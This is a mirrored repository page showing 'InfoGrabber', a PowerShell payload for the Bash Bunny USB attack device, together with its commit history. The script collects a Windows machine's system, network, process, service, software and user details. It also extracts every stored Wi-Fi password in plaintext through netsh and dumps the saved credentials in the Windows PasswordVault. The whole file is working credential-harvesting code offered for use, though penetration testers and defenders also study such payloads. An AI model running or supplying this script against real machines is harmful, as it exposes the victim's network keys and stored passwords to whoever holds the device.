mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* InfoGrabber by MrSnowMonster - Version 1.0 A payload that collects information about a wndows computer and places it in a textfile. * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Version 1.1 * Update info.ps1 Added some mor informations and repaired "0123" Testen on Win10 * Update 2 added windows passwords * Update 1.1 Updated
207 lines
9.8 KiB
PowerShell
207 lines
9.8 KiB
PowerShell
# Shows details of currently running PC
|
|
# Simen Kjeserud (Original creator), Gachnang
|
|
|
|
#Get info about pc
|
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip).Content
|
|
$computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}
|
|
$IsDHCPEnabled = $false
|
|
$Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=$True" | ? {$_.IPEnabled}
|
|
foreach ($Network in $Networks) {
|
|
If($network.DHCPEnabled) {
|
|
$IsDHCPEnabled = $true
|
|
}
|
|
[string[]]$computerMAC =$Network.MACAddress
|
|
}
|
|
|
|
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
|
$computerBIOS = Get-CimInstance CIM_BIOSElement
|
|
|
|
$computerOs=Get-WmiObject win32_operatingsystem | select Caption, CSName, Version, @{Name="InstallDate";Expression={([WMI]'').ConvertToDateTime($_.InstallDate)}} , @{Name="LastBootUpTime";Expression={([WMI]'').ConvertToDateTime($_.LastBootUpTime)}}, @{Name="LocalDateTime";Expression={([WMI]'').ConvertToDateTime($_.LocalDateTime)}}, CurrentTimeZone, CountryCode, OSLanguage, SerialNumber, WindowsDirectory | Format-List
|
|
$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List
|
|
$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List
|
|
|
|
$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
|
|
$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name="Capacity";Expression={ "{0:N1} GB" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table
|
|
|
|
# Get HDDs
|
|
$driveType = @{
|
|
2="Removable disk "
|
|
3="Fixed local disk "
|
|
4="Network disk "
|
|
5="Compact disk "}
|
|
$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name="DriveType";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; }
|
|
|
|
# Check RDP
|
|
$RDP
|
|
if ((Get-ItemProperty "hklm:\System\CurrentControlSet\Control\Terminal Server").fDenyTSConnections -eq 0) {
|
|
$RDP = "RDP is Enabled"
|
|
} else {
|
|
$RDP = "RDP is NOT enabled"
|
|
}
|
|
|
|
# Get network interfaces
|
|
#| where { $_.ipaddress -notlike $null }
|
|
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
|
|
|
# Get wifi SSID and password
|
|
$WLANProfileNames =@()
|
|
#Get all the WLAN profile names
|
|
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
|
#Trim the output to receive only the name
|
|
Foreach($WLANProfileName in $Output){
|
|
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
|
}
|
|
$WLANProfileObjects =@()
|
|
#Bind the WLAN profile names and also the password to a custom object
|
|
Foreach($WLANProfileName in $WLANProfileNames){
|
|
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
|
try{
|
|
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
|
}Catch{
|
|
$WLANProfilePassword = "The password is not stored in this profile"
|
|
}
|
|
#Build the object and add this to an array
|
|
$WLANProfileObject = New-Object PSCustomobject
|
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
|
$WLANProfileObjects += $WLANProfileObject
|
|
Remove-Variable WLANProfileObject
|
|
}
|
|
|
|
# local-user
|
|
$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID
|
|
|
|
# process first
|
|
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine
|
|
|
|
# get listeners / ActiveTcpConnections
|
|
#[System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().GetActiveTcpConnections() | Format-Table -AutoSize
|
|
$listener = Get-NetTCPConnection | select @{Name="LocalAddress";Expression={$_.LocalAddress + ":" + $_.LocalPort}}, @{Name="RemoteAddress";Expression={$_.RemoteAddress + ":" + $_.RemotePort}}, State, AppliedSetting, OwningProcess
|
|
$listener = $listener | foreach-object {
|
|
$listenerItem = $_
|
|
$processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })
|
|
new-object PSObject -property @{
|
|
"LocalAddress" = $listenerItem.LocalAddress
|
|
"RemoteAddress" = $listenerItem.RemoteAddress
|
|
"State" = $listenerItem.State
|
|
"AppliedSetting" = $listenerItem.AppliedSetting
|
|
"OwningProcess" = $listenerItem.OwningProcess
|
|
"ProcessName" = $processItem.ProcessName
|
|
}
|
|
} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table
|
|
|
|
# process last
|
|
$process = $process | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine
|
|
|
|
# service
|
|
$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name="Sort";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName
|
|
|
|
# installed software (get uninstaller)
|
|
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize
|
|
|
|
# drivers
|
|
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion
|
|
|
|
# videocard
|
|
$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution
|
|
|
|
#Get installed passwords
|
|
$profileRows = $output | Select-String -Pattern 'All User Profile'
|
|
$profileNames = New-Object System.Collections.ArrayList
|
|
for($i = 0; $i -lt $profileRows.Count; $i++){
|
|
$profileName = ($profileRows[$i] -split ":")[-1].Trim()
|
|
$profileOutput = netsh.exe wlan show profiles name="$profileName" key=clear
|
|
$SSIDSearchResult = $profileOutput| Select-String -Pattern 'SSID Name'
|
|
$profileSSID = ($SSIDSearchResult -split ":")[-1].Trim() -replace '"'
|
|
$passwordSearchResult = $profileOutput| Select-String -Pattern 'Key Content'
|
|
if($passwordSearchResult){
|
|
$profilePw = ($passwordSearchResult -split ":")[-1].Trim()
|
|
} else {
|
|
$profilePw = ''
|
|
}
|
|
$networkObject = New-Object -TypeName psobject -Property @{
|
|
ProfileName = $profileName
|
|
SSID = $profileSSID
|
|
Password = $profilePw
|
|
}
|
|
$profileNames.Add($networkObject)
|
|
}
|
|
$profileNames.Add($networkObject)
|
|
|
|
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
|
|
$vault = New-Object Windows.Security.Credentials.PasswordVault
|
|
$vault = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }
|
|
|
|
#The output
|
|
Clear-Host
|
|
Write-Host
|
|
|
|
$computerSystem.Name
|
|
"=================================================================="
|
|
"Manufacturer: " + $computerSystem.Manufacturer
|
|
"Model: " + $computerSystem.Model
|
|
"Serial Number: " + $computerBIOS.SerialNumber
|
|
""
|
|
""
|
|
""
|
|
|
|
"OS:"
|
|
"=================================================================="+ ($computerOs| out-string)
|
|
|
|
"CPU:"
|
|
"=================================================================="+ ($computerCpu| out-string)
|
|
|
|
"RAM:"
|
|
"=================================================================="
|
|
"Capacity: " + $computerRamCapacity+ ($computerRam| out-string)
|
|
|
|
"Mainboard:"
|
|
"=================================================================="+ ($computerMainboard| out-string)
|
|
|
|
"Bios:"
|
|
"=================================================================="+ (Get-WmiObject win32_bios| out-string)
|
|
|
|
|
|
|
|
"Local-user:"
|
|
"=================================================================="+ ($luser| out-string)
|
|
|
|
"HDDs:"
|
|
"=================================================================="+ ($Hdds| out-string)
|
|
|
|
"Network: "
|
|
"=================================================================="
|
|
"Computers MAC adress: " + $computerMAC
|
|
"Computers IP adress: " + $computerIP.ipaddress[0]
|
|
"Public IP adress: " + $computerPubIP
|
|
"RDP: " + $RDP
|
|
""
|
|
($Network| out-string)
|
|
|
|
"W-Lan profiles: "
|
|
"=================================================================="+ ($WLANProfileObjects| out-string)
|
|
|
|
"listeners / ActiveTcpConnections"
|
|
"=================================================================="+ ($listener| out-string)
|
|
|
|
"Current running process: "
|
|
"=================================================================="+ ($process| out-string)
|
|
|
|
"Services: "
|
|
"=================================================================="+ ($service| out-string)
|
|
|
|
"Installed software:"
|
|
"=================================================================="+ ($software| out-string)
|
|
|
|
"Installed drivers:"
|
|
"=================================================================="+ ($drivers| out-string)
|
|
|
|
"Installed videocards:"
|
|
"==================================================================" + ($videocard| out-string)
|
|
|
|
"Windows/user passwords"
|
|
"=================================================================="
|
|
$vault | select Resource, UserName, Password | Sort-Object Resource | ft -AutoSize
|
|
|
|
|